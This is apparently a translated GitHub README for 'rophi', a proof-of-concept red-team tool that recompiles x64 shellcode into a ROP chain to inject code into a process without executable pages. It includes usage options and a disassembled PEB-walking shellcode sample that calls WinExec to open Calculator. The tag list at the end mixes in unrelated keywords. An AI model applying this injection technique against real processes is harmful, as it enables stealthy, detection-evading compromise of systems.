teabound/rophi
GitHub: teabound/rophi
一款通过将 shellcode 重新编译为 ROP 链来实现无页面可执行注入的 PoC 工具。
Stars: 0 | Forks: 0
# Rophi
在不分配单个可执行页面的情况下,通过将 x64 壳代码重新编译为单个 ROP 链来注入代码到进程中。
在此示例中,我们重新编译使用 PEB 遍历已加载模块的壳代码,找到 `kernel32.dll!WinExec`,并使用它来打开 Windows 计算器。
## 用法
```
ROPpenheimer Injector
.\rophi [OPTIONS]
OPTIONS:
-h, --help Print this help message and exit
-f, --file TEXT:FILE REQUIRED
Input file.
-p, --process TEXT REQUIRED
Process name.
-d, --dump Dump the LLVM IR to the screen.
--stack-block-size UINT
Size of allocated region for the ROP chain.
--register-block-size UINT
Size of allocated region for the virtual registers.
```
```
$ .\rophi -f payload.bin -p test.exe
```
## 注意
这仍然绝对是一个 PoC,存在无数 bug、缺失的指令实现等,其中大多数我将在以后修复或在另一个版本中解决。自由报告问题或提交 PR。
Shellcode 示例
``` 0: fc cld 1: 48 31 d2 xor rdx,rdx 4: 65 48 8b 52 60 mov rdx,QWORD PTR gs:[rdx+0x60] 9: 48 8b 52 18 mov rdx,QWORD PTR [rdx+0x18] d: 48 8b 52 20 mov rdx,QWORD PTR [rdx+0x20] 11: 48 8b 12 mov rdx,QWORD PTR [rdx] 14: 48 8b 12 mov rdx,QWORD PTR [rdx] 17: 48 8b 5a 20 mov rbx,QWORD PTR [rdx+0x20] 1b: 8b 43 3c mov eax,DWORD PTR [rbx+0x3c] 1e: 48 01 d8 add rax,rbx 21: 8b 80 88 00 00 00 mov eax,DWORD PTR [rax+0x88] 27: 85 c0 test eax,eax 29: 74 61 je 0x8c 2b: 48 01 d8 add rax,rbx 2e: 8b 48 18 mov ecx,DWORD PTR [rax+0x18] 31: 44 8b 40 20 mov r8d,DWORD PTR [rax+0x20] 35: 49 01 d8 add r8,rbx 38: 44 8b 48 24 mov r9d,DWORD PTR [rax+0x24] 3c: 49 01 d9 add r9,rbx 3f: 44 8b 50 1c mov r10d,DWORD PTR [rax+0x1c] 43: 49 01 da add r10,rbx 46: ff c9 dec ecx 48: 78 42 js 0x8c 4a: 41 8b 34 88 mov esi,DWORD PTR [r8+rcx*4] 4e: 48 01 de add rsi,rbx 51: 81 3e 57 69 6e 45 cmp DWORD PTR [rsi],0x456e6957 57: 75 ed jne 0x46 59: 81 7e 04 78 65 63 00 cmp DWORD PTR [rsi+0x4],0x636578 60: 75 e4 jne 0x46 62: 41 0f b7 04 49 movzx eax,WORD PTR [r9+rcx*2] 67: 41 8b 04 82 mov eax,DWORD PTR [r10+rax*4] 6b: 48 01 d8 add rax,rbx 6e: 48 83 ec 28 sub rsp,0x28 72: c7 04 24 63 61 6c 63 mov DWORD PTR [rsp],0x636c6163 79: c6 44 24 04 00 mov BYTE PTR [rsp+0x4],0x0 7e: 48 89 e1 mov rcx,rsp 81: ba 01 00 00 00 mov edx,0x1 86: ff d0 call rax 88: 48 83 c4 28 add rsp,0x28 8c: cc int3 ```标签:Hpfeeds, PEB 遍历, ROP, ROP 链, Shellcode 编译, Shellcode 重编译, SIP, SSH蜜罐, T1055, T1056, Windows 内核, WinExec 调用, x64 汇编, 云资产清单, 免内存可执行, 可视化界面, 无映射注入, 系统调用, 红队技术, 进程注入, 逆向工程